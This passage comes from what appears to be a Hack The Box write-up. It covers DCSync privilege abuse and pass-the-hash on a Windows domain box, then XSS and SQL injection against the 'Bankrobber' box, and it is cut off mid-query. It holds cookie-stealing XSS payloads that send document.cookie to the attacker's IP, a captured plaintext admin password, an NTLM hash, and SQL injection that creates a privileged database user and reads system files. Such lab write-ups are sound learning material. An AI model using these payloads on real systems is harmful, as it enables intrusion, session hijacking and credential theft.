-Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The method from that blog still failed. It added the current user to the Exchange Trusted Subsystem group.&lt;/p&gt;&#10;&lt;p&gt;Then it granted that user DCSync privileges. The author also mentioned that you have to log in again for the ACL to reload, but I didn&amp;rsquo;t know how to make it reload, so I got stuck. Since the point of this box was learning, I went back to check the write-up again.&lt;/p&gt;&#10;&lt;p&gt;This time I understood the logic clearly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Create a domain account # We currently have this permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user testuser1 password /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Add it to the Exchange Trusted Subsystem group; this also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; testuser1 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The key step is granting it DCSync rights through the ACL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = convertto-securestring &amp;#39;password&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#39;htb\testuser1&amp;#39;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -Credential $cred -TargetIdentity &amp;#34;DC=htb,DC=local&amp;#34; -PrincipalIdentity testuser1 -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Here, testuser1 grants itself DCSync rights. My earlier attempt may have failed because I granted rights to the service account itself&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows may not allow this, or I may need to sign out and back in, although I used WinRM extensively&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I did not see this step in many blog posts; it is essentially&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I also tried using svc-alfresco to grant testuser1 rights with Add-DomainObjectAcl, but it failed immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;As shown below, it didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After thinking about it, the main reason was that we only had permission to create users, not to grant privileges. Creating a normal domain account was fine. Once we added it to the Exchange Trusted Subsystem group, it could grant privileges to itself. That made perfect sense. I also asked claude to verify my theory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As shown below:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just use PTH.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;Just as I said when I first started this box, it was mostly for learning. While filling in the gaps in my domain penetration testing knowledge, I&amp;rsquo;d mostly built local environments. I&amp;rsquo;d learned so much that things were getting a little jumbled. I hadn&amp;rsquo;t encountered the resource-based constrained delegation used later in this box. I basically understood the earlier parts, but my knowledge was broad rather than deep. This box helped reinforce some of what I&amp;rsquo;d learned. All I can say is: I still need a lot more practice.&lt;/p&gt;&#10;&lt;h2 id="8bankrobber"&gt;&lt;a href="#8bankrobber" class="header-anchor"&gt;&lt;/a&gt;8.Bankrobber&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m already getting a bad feeling about this.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB doesn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A cryptocurrency trading platform.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like I&amp;rsquo;ve found the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There may be a broken access control issue here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just as it says, this can only be accessed locally. Based on the information above, he also moved the stuff in xmapp to TODO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s basically it for recon. Time to start attacking the box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The id at the user endpoint is definitely problematic—there is a broken access control issue. But it only exposes information and things like that, so it doesn&amp;rsquo;t seem particularly useful. Also, the credentials work exactly as described above: your username, password, and id are placed in the cookie.&lt;/p&gt;&#10;&lt;p&gt;/admin looks like the admin interface, but even when I brute-forced it, it kept saying I didn&amp;rsquo;t have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;At /phpmyadmin, we already know it only permits localhost. I tried configuring xff and similar headers, but still couldn&amp;rsquo;t bypass it.&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything else to exploit, but one thing worth mentioning is that httponly is empty, so an XSS could steal the cookie.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After submitting a request here, it says an administrator will review it within a minute. This feels very likely to have an XSS.&lt;/p&gt;&#10;&lt;p&gt;Mainly because it returns no response body. Also, the ID above is worth testing for SQL injection, but let&amp;rsquo;s take things one at a time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;location.href=&amp;#34;http://10.10.16.29:33333/cookie.php?cookie=&amp;#34;+document.cookie&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ncat -lvnp 33333&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, nothing came back.&lt;/p&gt;&#10;&lt;p&gt;I tried SQL injection, but it looks like none of these parameters touch the database, since the request is supposed to be reviewed by an administrator.&lt;/p&gt;&#10;&lt;p&gt;I tried several more XSS payloads:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. The hint made it sound like this was the right approach, though. I went through a lot of other things afterward: nearly every directory found through brute-forcing returned a 403 for insufficient privileges, 3306 also required local access, and SMB had no anonymous login. I was completely stuck at this point.&lt;/p&gt;&#10;&lt;p&gt;One more possibility was that the HTTPS and HTTP sites might contain slightly different things, so I checked that next.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, they were basically identical apart from SSL.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck here, so I glanced at a writeup and finally saw what was wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t paid close attention to the parameters here.&lt;/p&gt;&#10;&lt;p&gt;First, the amount has to be less than the 900 I currently have. It can&amp;rsquo;t be greater than 900.&lt;/p&gt;&#10;&lt;p&gt;Second, the specified ID: 1 definitely exists, but whether any of the others exist has to be determined by brute-forcing the id parameter in the cookie. Using 1 here is definitely fine.&lt;/p&gt;&#10;&lt;p&gt;The third parameter is the actual XSS.&lt;/p&gt;&#10;&lt;p&gt;You can also remove the number restriction on the second parameter from the frontend, and using an email address works too. All four payloads above work perfectly fine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a working payload online.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;newImage().src=&amp;#34;http://10.10.16.29:33333/cookie1.php?cookie=&amp;#34;%2bdocument.cookie;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I got a callback.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username=admin; password=Hopelessromantic; id=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are two endpoints in the admin panel: one queries information, and the other executes commands. The second one screams command injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wouldn&amp;rsquo;t let me use it, though. It said it was only available locally, and adding xff didn&amp;rsquo;t help either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While querying it, I found a possible SQL injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;String-based SQL injection.&lt;/p&gt;&#10;&lt;p&gt;At this point, we know we can&amp;rsquo;t access mysql, though of course that depends on the specific privilege settings and we may be able to read it later. We also know that xmapp was moved to the TODO directory. Once we check the permissions, we may be able to write a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,2,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Found the reflected column.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Current account:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;secure_file_priv is empty, which means we can write arbitrary files, but we still need the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,@@global.secure_file_priv,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I didn&amp;rsquo;t even bother checking whether the account could log in remotely, because we could already write a shell. If the target only exposed mysql, we might need UDF privilege escalation, but it also has a PHP site, so I planned to write a shell instead. For now, I needed the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;create user &amp;#39;test&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;123456&amp;#39;;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;grant all privileges on *.* to &amp;#39;test&amp;#39;@&amp;#39;%&amp;#39; identified by &amp;#39;123456&amp;#39; with grant option;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully, with administrator privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions look fine, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database path is:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the hint, replacing xampp with TODO should do the trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried reading files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;create table test(cmd text);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;insert into test(cmd) values (load_file(&amp;#39;C:\TODO\htdocs\notes.txt&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:\Windows\my.ini&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After trying for a long time, I finally found what looked like the web root and attempted to read from it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/xampp/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could read it, which meant the file existed. But when I used:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/TODO/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set 